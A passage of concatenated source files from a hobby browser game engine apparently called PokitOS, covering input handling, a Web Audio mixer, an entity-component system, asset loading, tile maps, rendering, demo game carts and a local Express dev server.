make_handle_touchpresent(this))); ['touchend', 'touchcancel'].map((a) => document.addEventListener(a, make_handle_touchstopped(this))); } setup_keyboard() { document.addEventListener('keydown', make_handle_keydown(this)); document.addEventListener('keyup', make_handle_keyup(this)); } /** * Sets up regular polling of inputs. runs detect_buttons_pressed() once * per frame. */ setup_button_polling() { let inputmanager = this; function yaaaaaaas() { inputmanager.detect_buttons_pressed(); requestAnimationFrame(yaaaaaaas); } requestAnimationFrame(yaaaaaaas); } /** * Sets up everything, simply. * * @returns this */ full_setup(): InputManager { this.setup_touch(); this.setup_keyboard(); this.setup_button_polling(); return this; } /** * The most important function in the object. * * Polls the various registers available to us to determine if a button is pressed. * * First polls any recognized gamepads. Button-codes are set up for both * XBox One and PS4 controllers. No guarantee that other controllers will work. * * Next grabs the touches on the screen, and determines if any buttons are pressed * using the most advanced alogrythms this side of War Games * * Finally gets the keys showing up as pressed. * * If we have a debug callback, calls it. Useful for, say, rendering out a debug message * to the screen */ detect_buttons_pressed() { this.reset_buttons(); let buttons = this.buttons; let cust_keymap = this.cust_keymap; if (navigator.getGamepads) { for (let i = 0; i < navigator.getGamepads().length; i++) { let gp = navigator.getGamepads()[i]; if (gp) { this.cust_gamepadbuttonmap.forEach(function(code, ind) { let pre = (gp.buttons[ind] || {'pressed': false}).pressed; if (pre) { buttons[code] = pre; } }) this.cust_gamepaddpadaxeis.forEach(function(dirs, ind) { let axe = gp.axes[ind] buttons[dirs[axe]] = true }) } } } this.current_touches.forEach(function (a) { if (validbuttons.has((<HTMLButtonElement>a.target).name)) { if (rightbuttons.has((<HTMLButtonElement>a.target).name)) { buttons[(<HTMLButtonElement>a.target).name] = true; } buttons[append_with_current(a).current.name] = true; } }); this.current_keys.forEach(function (a) { buttons[cust_keymap[a]] = true; }); if (this.debug_callback) { this.debug_callback() } } reset_buttons(){ for (let proppa in this.buttons) { this.buttons[proppa] = false; } } tick() { if (this.dirty_keys){ this.detect_buttons_pressed(); } } } function make_handle_touchpresent(inputmanager: InputManager): (ev: TouchEvent)=>void { return function(ev: TouchEvent) { map_touchlist(function (t: Touch) { inputmanager.current_touches.set(t.identifier, t) }, ev.changedTouches) inputmanager.dirty_touch = true; } } function make_handle_touchstopped(inputmanager: InputManager): (ev: TouchEvent)=>void { return function(ev: TouchEvent) { map_touchlist(function (t: Touch) { inputmanager.current_touches.delete(t.identifier); }, ev.changedTouches); inputmanager.dirty_touch = true; } } function make_handle_keydown(inputmanager: InputManager): (ev: KeyboardEvent)=>void { return function(ev: KeyboardEvent) { inputmanager.current_keys.add(ev.code); inputmanager.dirty_keys = true; } } function make_handle_keyup(inputmanager: InputManager): (ev: KeyboardEvent)=>void { return function(ev: KeyboardEvent) { inputmanager.current_keys.delete(ev.code); inputmanager.dirty_keys = true; } } function append_with_current(touch: Touch): Touch { if (!touch.current) { let elem = <HTMLButtonElement>document.elementFromPoint(touch.clientX, touch.clientY); touch.current = elem; } return touch; } async function map_touchlist(fn: (touch: Touch)=>void, touchlist: TouchList) { for (let i = 0; i < touchlist.length; i++) { fn(touchlist.item(i)); } } async function doasync(cb) { return cb(); }<file_sep>import {Types, Decoder} from './assetmanager.js'; import { PokitOS } from './pokitos.js'; import { PokitEntity, ICog } from './ecs.js'; interface IMixerAudioSource { src: AudioBufferSourceNode, pan: StereoPannerNode, vol: GainNode } export class Mixer { private _racks: AudioNode[][]; private _ctx: AudioContext; private _started: boolean; private _engine: PokitOS; audioListener: AudioListener; constructor(){ this._racks = []; this._ctx = new AudioContext(); this._started = false; this.audioListener = null; } async audioDecoder (_, response: Response){ let buffer = await response.arrayBuffer(); console.log(buffer) let ctx = this._ctx; return await ctx.decodeAudioData(buffer); } init(engine: PokitOS){ this._engine = engine; engine.assets.registerType('SOUND'); engine.assets.registerDecoder(Types.SOUND, (_, response) => this.audioDecoder(_, response)); engine.ecs.setCog('audioListener', AudioListener); engine.ecs.setCog('audioSource', AudioSource); this.createRack(false); let n = this.getNode(1, 0); n.connect(this._ctx.destination); engine.ecs.defaultCamera.addCog('audioListener', {}); } createRack(connectToMaster: boolean =true){ let entryNode = new AnalyserNode(this._ctx); let exitNode = new AnalyserNode(this._ctx); entryNode.connect(exitNode); if(connectToMaster){ exitNode.connect(this._racks[0][0]); } this._racks.push([entryNode,exitNode]); return this._racks.length -1; } addToRack(node: AudioNode, dest: number = 0, rack: number = 0){ let lowerNode = this.getNode(dest, rack); let upperNode = this.getNode(dest-1, rack); upperNode.disconnect(lowerNode); upperNode.connect(node); node.connect(lowerNode); this._racks[rack].splice(dest, 0, node); } removeFromRack(index: number, rack: number =0){ let lowerNode = this.getNode(index + 1, rack); let node = this.getNode(index, rack); let upperNode = this.getNode(index-1, rack); upperNode.disconnect(node); upperNode.connect(lowerNode); node.disconnect(lowerNode); this._racks[rack].splice(index, 1); } getNode(index: number, rack: number=0): AudioNode { return this._racks[rack][index]; } async makeSource(buffer: AudioBuffer, rack: number = 0): Promise<IMixerAudioSource>{ if(!this._started){ await this._ctx.resume(); this._started = true; } let src = this._ctx.createBufferSource(); src.buffer = buffer; let vol = this._ctx.createGain(); let pan = this._ctx.createStereoPanner(); src.connect(vol); vol.connect(pan); pan.connect(this.getNode(0,rack)) return {src: src, pan:pan, vol:vol}; } } interface IAudioListener extends ICog { entity?: PokitEntity, maxHearingDistance?: number } class AudioListener implements IAudioListener { entity: PokitEntity; maxHearingDistance: number; constructor(engine: PokitOS) { engine.mixer.audioListener = this; } init(entity: PokitEntity,initParams: IAudioListener){ Object.assign(this, {maxHearingDistance:13*20}, initParams); this.entity = entity; } } interface IAudioSource extends ICog { startOnInit?: boolean, loop?: boolean, pan?: number, spatial?: boolean, id?: string, rack?: number, speed?: number, maxVolume?: number } class AudioSource implements IAudioSource{ private _engine: PokitOS; private _volume: number; private _src: IMixerAudioSource; startOnInit: boolean; loop: boolean; pan: number; spatial: boolean; id: string; rack: number; speed: number; maxVolume: number constructor(engine: PokitOS){ this._engine=engine this.startOnInit = false; this.loop = false; this.pan = 0; this.spatial = false; this.id = null; this.rack = 0; this.speed = 1; this.maxVolume = 1; this._volume = 1; }; async init(_, audioData: IAudioSource) { Object.assign(this, audioData) let buffer = await this._engine.assets.getAsset(this.id).data; this._engine.assets.getAsset(this.id).data = buffer; //console.log(buffer) //console.log(this.engine.assets) let src = await this._engine.mixer.makeSource(buffer, this.rack); //console.log(src) this._src = src; this._src.src.loop = this.loop; this._src.src.playbackRate.value = this.speed; if(this.spatial){ //this._volume = 0; } if(this.startOnInit){ this.play(); } } update(entity: PokitEntity){ let audioListener = this._engine.mixer.audioListener; if(this.spatial && audioListener){ let atten = (entity.distance(audioListener.entity)/audioListener.maxHearingDistance); if(atten > 1) atten = 1; this._volume = 1- atten; this.pan = Math.sin(entity.deg2rad(audioListener.entity.bearing(entity)) * atten); } //console.log({pan:this.pan, volume: this._volume}) this._src.pan.pan.value = this.pan; this._src.vol.gain.value = this.maxVolume * this._volume; } getSide(b: number): number{ if(b === 0 || b === 180) return 0; return b < 180 ? 1 : -1; } getHorizontalBearing(reference: PokitEntity, compare: PokitEntity){ let b = reference.bearing(compare); let s = this.getSide(b); switch(s){ case 0: return 0; case 1: return b / 180; case -1: return -((360 - b) / 180); } } play() { this._src.src.start(); } stop() { this._src.src.stop(); } }<file_sep>import loadMap from '../krackedEC/loadMap.js'; import * as systems from './systems.js' import setupBaubleBox from '../../js/baubles.js'; //import './kontra.js'; //import { setupPC } from './playerControl.js'; //localhost:8080/?cart=%2Fcarts%2FkrackedEC%2Fgamecart.js test url export class GameCart { constructor(pokitOS) { this.pokitOS = pokitOS; this.ecs = pokitOS.baublebox; this.assetPool = pokitOS.bellhop; this.input = pokitOS.inputManager; } async preload() { console.log('preload happened'); await this.assetPool.loadImage('startScreen', '/carts/krackedEC/rawsprites/startscreen.png'); this.assetPool.loadImage('world', '/carts/krackedEC/world.png'); this.assetPool.loadImage('spritesheet', '/carts/krackedEC/santasprites.png'); } async start() { let audio = new Audio('/carts/krackedEC/LastChristmas.mp3'); audio.play(); systems.setupPlayerControl(this.pokitOS); loadMap(this.pokitOS); console.log(Object.assign({ entityID: 'arb', x: 0, y: 0, z: 0, scale: 1, scaleX: 1, scaleY: 1, rotation: 0, width: 0, height: 0, velocityX: 0, velocityY: 0, requestDelete: false, willDelete: false }, { x: 0, y: 0, z: 0, width: 160, height: 160 })); console.log('start happened'); let startScreen = this.makeActor(160, 160, 'startScreen', -1, 80, 80, 4, 4); let mapA = this.makeActor(-8000, -8000, 'world'); let santa1 = this.makeSanta(-8000, -8000, 'spritesheet', 0, 16, 16, .25, .25, 0, 0, 'santa'); let santa2 = this.makeSanta(-8000, -8000, 'spritesheet', 0, 16, 16, .25, .25, 1, 0, 'stNick'); let santa3 = this.makeSanta(-8000, -8000, 'spritesheet', 0, 16, 16, .25, .25, 2, 0, 'fatherChristmas'); let santa4 = this.makeSanta(-8000, -8000, 'spritesheet', 0, 16, 16, .25, .25, 3, 0, 'dedMoroz'); let camA = this.makeQuadCam(-80, -80, santa1); //Top Left Cam let camB = this.makeQuadCam(-80, -80, santa2); //Top Right Cam let camC = this.makeQuadCam(-80, -80, santa3); //Bottom Left Cam let camD = this.makeQuadCam(-80, -80, santa4); //Bottom Right Cam let camViewA = this.makeQuadCamView(79, 79, camA); let camViewB = this.makeQuadCamView(241, 79, camB); let camViewC = this.makeQuadCamView(79, 241, camC); let camViewD = this.makeQuadCamView(241, 241, camD); this.ecs.initializeSystem('startScreen', new systems.StartScreen(this.pokitOS, startScreen)); } makeActor(x, y, texture, z = 0, width, height, scaleX = 1, scaleY = 1, spriteX = 0, spriteY = 0) { return this.ecs.makeEntity({ x: x, y: y, z: z, height: height, width: width, scaleX: scaleX, scaleY: scaleY, }, ['jewlsTexture', { ID: texture, width: width, height: height, x: spriteX, y: spriteY }], ['jewlsActor', {}]); } makeSanta(x, y, texture, z = 0, width, height, scaleX = 1, scaleY = 1, spriteX = 0, spriteY = 0, santaname) { return this.ecs.makeEntity({ x: x, y: y, z: z, height: height, width: width, scaleX: scaleX, scaleY: scaleY, }, ['jewlsTexture', { ID: texture, width: width, height: height, x: spriteX, y: spriteY }], ['jewlsActor', {}], ['playersprite', santaname], ['moves']); } makeQuadCamView(x, y, camera) { return this.ecs.makeEntity({ x: x, y: y, z: 0, width: 160, height: 160 }, ['jewlsCameraView', {cameraID: camera}]); } makeQuadCam(x, y, santa) { return this.ecs.makeEntity( { x: x, y: y, width: 160, height: 160, parent: this.ecs.__components.get('identity').get(santa) }, ['camera', {}]); } }<file_sep>// import {InputManager} from './smolinput.mjs' // import {ECS} from './ecs.mjs'; // import {Renderer} from './smolrender.mjs'; // import {PokitOS} from './pokitos.mjs'; // import {Types,AssetManager} from './assetmanager.mjs'; // import {SpatialHash} from './spatialhash.mjs' // import { doIntroAnim } from './introanim.mjs'; // import {addTileMapSupport} from './extras/tilemaps.mjs'; // import {Mixer} from './boombox.mjs' // export default async function main() { // let ecs = new ECS(); // let e = ecs.makeEntity({width: 320, height: 320}); // ecs.update(); // let i = new InputManager(); // let r = new Renderer(document.querySelector('#gamescreen')); // let a = new AssetManager(); // let m = new Mixer(); // addTileMapSupport(); // let pokitOS = await new PokitOS({inputmanager: i, ecs: ecs, renderer: r, assets: a, mixer: m}).preload(); // // a.getImage('load_text', '/img/bootscreen_text.svg'); // // e.addCog('img', {imgname:'load_text'}) // pokitOS.start(); // //let boombox = new Mixer(); // //boombox.init(pokitOS); // //let sound = await a.queueAsset('xmas', '/carts/krackedEC/LastChristmas.mp3', Types.SOUND); // //boombox.playSound(sound); // doIntroAnim(pokitOS) // // let load = await pokitOS.assets.queueImage('load_text', '/img/bootscreen_text.png'); // // let loa2 = await pokitOS.assets.queueImage('load_text2', '/img/bootscreen_top.png'); // // let cam = pokitOS.ecs.makeEntity({x:0,y:0,height:320,width:320,z:0}) // // .addCog('camera', {isMainCamera:true}); // // let durr = pokitOS.ecs.makeEntity({x:160,y:160*1,height:320,width:320,z:10}) // // .addCog('img', {id: 'load_text'}) // // .addCog('spriteActor') // // let dur2 = pokitOS.ecs.makeEntity({x:160,y:160*1,height:loa2.height,width:loa2.width,z:1}) // // .addCog('img', {id: 'load_text2'}) // // .addCog('spriteActor') // // console.log(durr) // window.pokitOS = pokitOS; // return pokitOS; // } import {InputManager} from './inputmanager.js' import {ECS} from './ecs.js'; // import {Renderer} from './smolrender.mjs'; import {Renderer} from './jewls.js'; import {Mixer} from './boombox.js' import {PokitOS} from './pokitos.js'; import {Types,AssetManager} from './assetmanager.js'; import {SpatialHash} from './spatialhash.js' import {doIntroAnim} from './introanim.js'; import {addTileMapSupport} from './extras/tilemaps.js'; import './smolworker.js' import * as cartloader from './cartloader.js' import * as screenfull from './lib/screenful/dev.js' export default async function main(): Promise<PokitOS> { let pokitOS = await setup_pokitOS(); await loadExtras(pokitOS) let baseURL = cartloader.getBaseCartURL() console.log(baseURL) let cartinfo = await cartloader.parseCartManifest(baseURL) await cartloader.loadCartModule(cartinfo, pokitOS) await cartloader.preloadCartAssets(cartinfo, pokitOS) await preload_introanim_assets(pokitOS); enable_fullscreen_enabling(pokitOS); let openprom = setup_console_open(pokitOS); await openprom await cartloader.startCart(cartinfo, pokitOS) return pokitOS; } async function preload_introanim_assets(pokitOS: PokitOS): Promise<PokitOS> { await pokitOS.assets.queueAsset('load_text', '/img/bootscreen_text.svg', Types.IMAGE); await pokitOS.assets.queueAsset('load_top', '/img/bootscreen_top.svg', Types.IMAGE); await pokitOS.assets.queueAsset('load_bottom', '/img/bootscreen_bottom.svg', Types.IMAGE); return pokitOS; } async function setup_console_open(pokitOS: PokitOS): Promise<PokitOS> { return new Promise(resolve => (<HTMLButtonElement>document.querySelector('#onbutton')).onclick = async function() { console.log('doing') document.querySelector('#powercase_right').className = 'hidden' document.querySelector('#powercase_left').className = 'hidden' pokitOS.start(); await doIntroAnim(pokitOS) console.log('done') resolve(pokitOS) }) } async function setup_pokitOS(): Promise<PokitOS> { let ecs = new ECS(); let e = ecs.makeEntity({width: 320, height: 320}); ecs.update(); let i = new InputManager(); let r = new Renderer(document.querySelector<HTMLCanvasElement>('#gamescreen')); let a = new AssetManager(); let m = new Mixer(); let pokitOS = new PokitOS({inputmanager: i, ecs: ecs, renderer: r, assets: a, mixer: m}); await pokitOS.preload(); window.pokitOS = pokitOS; return pokitOS; } async function loadExtras(pokitOS: PokitOS) { addTileMapSupport(pokitOS) } async function enable_fullscreen_enabling(pokitOS: PokitOS) { (<HTMLCanvasElement>document.querySelector('#fullscreen')).onclick = () => screenfull.toggle(); (<HTMLCanvasElement>document.querySelector('#gamescreen')).ondblclick = () => screenfull.toggle(); } // main();<file_sep>import { PokitOS } from "./pokitos"; export interface ICog { exts?: { [id: string]: any }, init? (entity: PokitEntity, args: { [any: string]: any }): any, update? (entity: PokitEntity):any, destroy? (entity: PokitEntity):any, runonce? (entity: PokitEntity):any, onCollisionEnter? (entity: PokitEntity, collider: PokitEntity):any, onCollisionExit? (entity: PokitEntity, collider: PokitEntity):any } export interface IEntityIdentity{ x?: number, y?: number, z?: number, height?: number, width?: number, depth?: number, rotation?: number, scaleX?: number, scaleY?: number, scaleZ?: number, velocity?: number, flags?: Set<string>, parent?: IEntityIdentity } export interface IEntityPrefab { identity: IEntityIdentity, systems: { name: string, data: any }[] } let prisort = (a, b) => a.priority - b.priority function no_op(){} function prepCog(sys: ICog) { for (let x of ['init', 'update', 'destroy', 'runonce', 'onCollisionEnter', 'onCollisionExit']) { if (!sys[x]) { sys[x] = no_op } } if (!sys.exts) (sys.exts = {}) return sys } export class PokitEntity implements IEntityIdentity{ private _sorted: ICog[]; private _runonce: ICog[]; private _engine: PokitOS; private _x: number; private _y: number; private _z: number; private _rotation: number; id: number; ecs: ECS; cogs: Map<string,ICog>; exts: Map<string,any>; /* IEntityIdentity */ height: number; width: number; depth: number; scaleX: number; scaleY: number; scaleZ: number; velocity: number; flags: Set<string>; parent: IEntityIdentity; /* IEntityIdentity */ constructor(ecs: ECS, identity: IEntityIdentity, engine: PokitOS) { Object.assign(this, {_x:0,_y:0,_z:0, height:0,width:0,depth:1, _rotation:0, scaleX:1,scaleY:1,scaleZ:1, velocity:0, flags:new Set(), parent:{x:0,y:0,z:0, rotation: 0}}, identity); this.id = Math.random(); this.ecs = ecs; this.cogs = new Map(); this.exts = new Map(); this._sorted = []; this._runonce = []; this._engine = engine; console.log(engine); } get x(): number { let rad = this.deg2rad(-this.parent.rotation); let s = Math.sin(rad); let c = Math.cos(rad); let rotX = this._x * c - this._y * s; return this.parent.x + rotX; } set x(value: number) { this._x = value; } get y(): number { let rad = this.deg2rad(-this.parent.rotation); let s = Math.sin(rad); let c = Math.cos(rad); let rotY = this._x * s + this._y * c; return this.parent.y + rotY; } set y(value: number) { this._y = value; } get z(): number { return this.parent.z + this._z; } set z(value: number) { this._z = value; } get rotation(): number { return this.parent.rotation + this._rotation; } set rotation(value: number) { this._rotation = value; } update() { let self = this; if (this._runonce.length) { this._runonce.sort(prisort).forEach(a=>a.runonce(self)) this._runonce = []; } this._sorted.forEach(a=>a.update(self)); } runOnce(ro: ICog) { this._runonce.push(ro); } onCollisionEnter(collider: PokitEntity, collision: PokitEntity){ this._sorted.forEach(a=>a.onCollisionEnter(collider, collision)); } onCollisionExit(collider: PokitEntity, collision: PokitEntity){ this._sorted.forEach(a=>a.onCollisionExit(collider, collision)); } addCog(systemName: string, props: any): PokitEntity { let sys = this.ecs.systems.get(systemName); if(typeof sys === "function") { console.log(this._engine); sys = new sys(this._engine); prepCog(sys) } sys.init(this, props); this.cogs.set(systemName, sys) this.ecs.reverseSet(systemName, this) return this.sortSystems(); } addUniqueCog(systemName: string, sys: ICog): PokitEntity { sys = prepCog(sys) this.cogs.set(systemName,sys) return this.sortSystems(); } removeCog(sn: string): PokitEntity { this.cogs.get(sn).destroy(this); this.cogs.delete(sn); this.ecs.reverseRemove(sn, this); return this.sortSystems(); } sortSystems(): PokitEntity { this._sorted = [...this.cogs.values()].sort(prisort) return this; } hydrate(jsono: string) { let o = JSON.parse(jsono); } destroy() { for (let [n,x] of this.cogs) { this.removeCog(n) } this.ecs.popEntity(this.id) } distance(entity: PokitEntity){ return Math.sqrt(Math.abs((entity.x - this.x)**2 + (entity.y-this.y)**2)); } bearing(entity: PokitEntity){ return this.rad2deg(Math.atan2(entity.y - this.y, entity.x - this.x)) + 90; } deg2rad(angle: number){ return (angle/360) * (Math.PI * 2); } rad2deg(angle: number){ return (angle/(Math.PI * 2)) * 360; } } export class ECS { entities: Map<number, PokitEntity>; prefabs: Map<string, IEntityPrefab>; systems: Map<string, ICog | {new (engine: PokitOS): ICog}>; reverse_lookup: {[system: string]: Set<PokitEntity>}; pokitOS: PokitOS; defaultCamera: PokitEntity; constructor() { this.entities = new Map(); // TODO: Add cache array of entities this.prefabs = new Map(); this.systems = new Map(); this.reverse_lookup = {} this.pokitOS = null; } init(pokitOS: PokitOS) {this.pokitOS = pokitOS} reverseSet(systemName: string, entity: PokitEntity) { let s = this.reverse_lookup[systemName] if (s) { s.add(entity) } else { this.reverse_lookup[systemName] = new Set([entity]) } // TODO: ECHO global with debug boolean. Also minifier exclusion? console.log(this.reverse_lookup) return this; } reverseRemove(systemName: string, entity: PokitEntity) { let s = this.reverse_lookup[systemName] if (s) { s.delete(entity) } return this; } setCog(systemName: string, newsystem: any) { if (typeof newsystem === "object") { prepCog(newsystem) } this.systems.set(systemName, newsystem) return this; } removeCog(systemName: string) { this.systems.delete(systemName) delete this.reverse_lookup[systemName] } makeEntity(identity: IEntityIdentity, usePrefab: string | undefined = undefined) { let prefab = this.prefabs.get(usePrefab) || { identity: {}, systems: [] }; let values: IEntityIdentity = {}; Object.assign(values, prefab.identity, identity) console.log(prefab.identity) let e = new PokitEntity(this, values, this.pokitOS); this.entities.set(e.id, e); for(let sys of prefab.systems) { e.addCog(sys.name, sys.data); } return e; } popEntity(id: number) { let e = this.entities.get(id); this.entities.delete(id); return e; } update() { [...this.entities.values()].forEach(e=>e.update()); } dumpall() { [...this.entities.values()].forEach(e=>e.destroy()) this.reverse_lookup = {} this.entities = new Map() this.systems = new Map() } }<file_sep>const express = require('express'); const app = express(); const path = require('path'); const fs = require('fs'); let index = path.join(__dirname, 'index.html') let cart = ""; let supported = []; function use(middleware){ app.use(middleware); } use(express.static(__dirname)); app.get('/', function(req, res){ res.sendFile(index); }); app.use(function(req, res, next){ if(!req.path.startsWith('/cart/')){ next(); return null; } let fPath = path.join(cart,req.path.slice('/cart/'.length)); if(!fs.existsSync(fPath)){ res.status(404).send('Not found'); return null; } if(!supported.includes(path.extname(fPath))){ res.sendFile(fPath); }else{ next(); } }); function start(port, cartPath=process.cwd(), ignore=[]){ cart = cartPath; supported = ignore; app.listen(port); } module.exports.path = __dirname; module.exports.start = start; module.exports.use = use;<file_sep>// following https://medium.com/web-maker/making-asteroids-with-kontra-js-and-web-maker-95559d39b45f let input = document.pokitOS.input; let asteroids = []; let sprites = []; let ship = null; function makeAsteroid () { let asteroid = kontra.sprite({ type: 'asteroid', x: 20, y: 20, dx: Math.random() * 2 - 1, dy: Math.random() * 2 - 1, ttl: Infinity, render() { this.context.strokeStyle = "white"; this.context.beginPath(); this.context.arc(this.x, this.y, 20, 0, Math.PI*2); this.context.stroke(); } }) sprites.push(asteroid); } let degreesToRadians = (degrees) => degrees * Math.PI / 180; function makePlayer () { ship = kontra.sprite({ type: 'ship', x: 160, y: 160, width: 6, rotation: 0, ttl: Infinity, dt: 0, render() { this.context.save(); this.context.translate(this.x, this.y); this.context.rotate(degreesToRadians(this.rotation)); this.context.beginPath(); this.context.moveTo(-3, -5); this.context.lineTo(12, 0); this.context.lineTo(-3, 5); this.context.closePath(); this.context.stroke(); this.context.restore(); }, update() { if (input.buttons.left) { this.rotation += -4 } if (input.buttons.right) { this.rotation += 4 } this.cos = Math.cos(degreesToRadians(this.rotation)); this.sin = Math.sin(degreesToRadians(this.rotation)); if (input.buttons.b) { this.ddx = this.cos * 0.1; this.ddy = this.sin * 0.1; } else { this.ddx = this.ddy = 0; } this.advance(); const magnitude = Math.sqrt(this.dx * this.dx + this.dy * this.dy); if (magnitude > 10) { this.dx *= 0.95; this.dy *= 0.95; } this.dt += 1/60; if (input.buttons.a && this.dt > 0.25) { this.dt = 0; makeBullet(this); } } }) sprites.push(ship); } function makeBullet(ship) { let bullet = kontra.sprite({ type: 'bullet', x: ship.x + ship.cos * 12, y: ship.y + ship.sin * 12, dx: ship.dx + ship.cos * 5, dy: ship.dy + ship.sin * 5, ttl: 60 * 0.75, width: 4, height: 4, color: 'white' }) sprites.push(bullet); return bullet; } let cart = { init: async function() { console.log("%c I AM ALIVE!", "color: red"); for (var i = 0; i < 10; i++) { makeAsteroid(); } makePlayer(); console.log(kontra); }, update: function() { sprites.forEach(sprite => { sprite.update(); if (sprite.x < 0) { sprite.x = kontra.canvas.width; } if (sprite.x > kontra.canvas.width) { sprite.x = 0; } if (sprite.y < 0) { sprite.y = kontra.canvas.height; } if (sprite.y > kontra.canvas.height) { sprite.y = 0; } sprites = sprites.filter(sprite => sprite.isAlive()); }) }, render: function() { sprites.map(sprite => sprite.render()); } } document.pokitOS.gamecart = cart; document.debugflag = 'my name... is Beowulf!';<file_sep>#!/usr/bin/env node const server = require('./server'); const opn = require('open'); let port = process.env.PORT || 8080; server.start(port); opn(`http://localhost:${port}/?cart=cart`);<file_sep>import { PokitOS } from "./pokitos"; interface Enum { [number: string]: any } export interface IAsset { id: string, type: number, url: string, data: any } export type Decoder = (id: string, data: Response) => any; export type Destructor = (asset: IAsset) => void; export let Types : Enum = {}; export class AssetManager { private _assets: Map<string, IAsset>; private _urls: Map<string, IAsset>; private _typedAssets: Map<number, Set<IAsset>>; private _decoders: Map<number, Decoder>; private _destructors: Map<number, Destructor>; private _engine: PokitOS; constructor(){ this._assets = new Map(); this._urls = new Map(); this._typedAssets = new Map(); this._decoders = new Map(); this._destructors = new Map(); this.registerType('TEXT'); this.registerType('JSON'); this._decoders.set(Types.TEXT,async (_,x)=>{ return await x.text(); }) this._decoders.set(Types.JSON,async (_,x)=>{ return await x.json(); }) } init(engine: PokitOS){ this._engine = engine; } registerType(type: string){ Types[type] = Object.keys(Types).length; this._typedAssets.set(Types[type], new Set()); } registerDecoder(type: number, decoder: Decoder){ this._decoders.set(type, decoder); } registerDestructor(type: number, destructor: Destructor){ this._destructors.set(type, destructor); } async queueAsset(id: string, url: string, type: number): Promise<any> { let asset = this._urls.get(url); if(!asset) { let response = await fetch(url); let decode = this._decoders.get(type); asset = {id:id, type:type, url:url, data:decode(id, response)}; this._assets.set(id, asset); this._urls.set(url, asset); this._typedAssets.get(type).add(asset); } return asset.data; } getAsset(id: string): IAsset{ return this._assets.get(id); } cleanupAsset(id: string){ let asset = this._assets.get(id); let destruct = this._destructors.get(asset.type); if(destruct){ destruct(asset); } this._assets.delete(id); this._urls.delete(asset.url); this._typedAssets.get(asset.type).delete(asset); } } function createWorker(fn) { var blob = new Blob(['self.onmessage = ', fn.toString()], { type: 'text/javascript' }); var url = URL.createObjectURL(blob); return new Worker(url); }<file_sep>function encache() { let cache = {}; function solve(obj, store) { let key = obj.id+''; if(store) { cache[key] = obj; } else { return (cache[key])? cache[key] : false; } } solve._cache = cache; return solve; } // usage // cache = obj_cache(); // retreive object based on it self // cache(obj); // store object // cache(obj, true); // acces cache // cache._cache;<file_sep>export default async function loadMap(pokitOS) { let mapdata = await (await fetch('/carts/krackedEC/world.json')).json(); let {tilewidth, tileheight, width, height, layers} = mapdata; let layerdata = new Map(); for (let {name, data} of mapdata.layers) { layerdata.set(name, data); } let playerstarts = []; let presents = []; let chims = []; let floortiles = []; let walls = []; let startpoints = []; console.time('loadtiles'); let makeTile = (posind, tilemapind, z) => { let [tilex, tiley] = getPosFromOffset(tilemapind, width, height); let [posx, posy] = getPosFromOffset(posind, width, height, tilewidth, tileheight); return { tile: { height: tileheight, width: tilewidth, x: tilex, y: tiley + 1 }, transform: { height: tileheight, width: tilewidth, x: posx, y: posy, z: z } }; }; for (let n = 0; n < mapdata.width*mapdata.height; n++) { let vals = mapInd(n, layerdata); let [tileposx, tileposy] = getPosFromOffset(n, width, height); let foo = [ ['background', floortiles, Infinity], ['walls', walls, 100], ['chimney', chims, 90], ['present', presents, 60], ['startpoint', startpoints, 30] ]; for (let [mapname, collection, z] of foo) { let thing = vals.get(mapname); if (thing) { collection.push(makeTile(n, thing, z)); } } } console.timeEnd('loadtiles'); console.log(floortiles); console.log(walls); console.log(chims); console.log(presents); console.log(startpoints); pokitOS.baublebox.makeEntity({}, [['walllist', walls]]); pokitOS.baublebox.makeEntity({}, [['chimneylist', chims]]); for (let {transform} of presents) { pokitOS.baublebox.makeEntity(transform, ['present']); } for (let {transform} of startpoints) { pokitOS.baublebox.makeEntity(transform, ['startpoint']) } return mapdata; } function makeJewlsTileMap(layermap) { return {width: 256, height: 256, spritewidth: 16, spriteheight: 16, data: [ layermap.get('background'), layermap.get('walls'), layermap.get('chimney') ]} } function mapInd(index, map) { let newmap = new Map(); for (let [key, valvec] of map) { newmap.set(key, valvec[index]); } return newmap; } function getPosFromOffset(index, width, height, multiplierwidth, multiplierheight) { multiplierheight = multiplierheight || 1; multiplierwidth = multiplierwidth || 1; return [Math.floor(index % width) * multiplierwidth, Math.floor(index/height) * multiplierheight] } function getOffsetFromPos([x, y], width, height) { return x + (y * height); }<file_sep>import { SpatialHash } from './spatialhash.js'; import { PokitEntity } from './ecs.js'; import { PokitOS } from './pokitos.js'; interface IImageAsset { imgname: string, offx: number, offy: number, offwidth?: number, offheight?: number } let rfs = (vals) => [...Array.prototype.sort.call(vals, (a,b)=>a.z-b.z)] let id_fn = a => a export class Renderer implements IRenderer { private _sorted_torender: PokitEntity[]; private _sorted_cameras: PokitEntity[]; private _dirtyEntityFlag: boolean; private _dirtyCameraFlag: boolean; private _engine: PokitOS; canvas: HTMLCanvasElement; context: CanvasRenderingContext2D; torender: Map<number, PokitEntity>; imgdata: Map<string, IImageAsset>; cameras: Map<number, PokitEntity> constructor(canvas){ this.canvas = canvas; this.context = canvas.getContext('2d'); this.torender = new Map(); this._sorted_torender = [] this._sorted_cameras = [] this._dirtyEntityFlag = false; this._dirtyCameraFlag = false; this.imgdata = new Map(); this.cameras = new Map(); this._engine = null; } init(pokitOS) { this._engine = pokitOS let s = this; pokitOS.ecs.setCog('img', {init: (entity, imgdata) => { console.log(entity) s.addEntity(entity, imgdata); entity.flags.add('visible') }, delete: (entity) => { this.torender.delete(entity.id) }}) pokitOS.ecs.setCog('camera', {init: (entity) => { s.addCamera(entity) entity.flags.add('camera') }}) pokitOS.ecs.makeEntity({width:320,height:320,x:160,y:160}).addCog('camera') console.log(this.cameras) } addEntity(entity, imgdata) { entity.flags.add('visible') this.torender.set(entity.id, entity); this.imgdata.set(entity.id, Object.assign({imgname:'', offx:0, offy:0,offwidth:null,offheight:null} ,imgdata)) this._dirtyEntityFlag = true; } removeEntity(entity) { this.torender.delete(entity.id); } addCamera(entity) { this.cameras.set(entity.id, entity); this._dirtyCameraFlag = true; } removeCamera(entity) { this.cameras.delete(entity.id); } render(sortFunc) { if (this._dirtyEntityFlag) { this._sorted_torender = rfs(this.torender.values()) this._dirtyEntityFlag = false; } if (this._dirtyCameraFlag) { this._sorted_cameras = rfs(this.cameras.values()) this._dirtyCameraFlag = false; } let con = this.context; // let spatial_hash = new SpatialHash(160) // spatial_hash.addMany(this._sorted_torender) con.clearRect(0,0,320,320) for (let cam of this._sorted_cameras) { let cam_x_offset = cam.x-(cam.width/2); let cam_y_offset = cam.y-(cam.height/2); // for (let {id,x,y,width,height} of spatial_hash.findNearby(cam)) { for (let 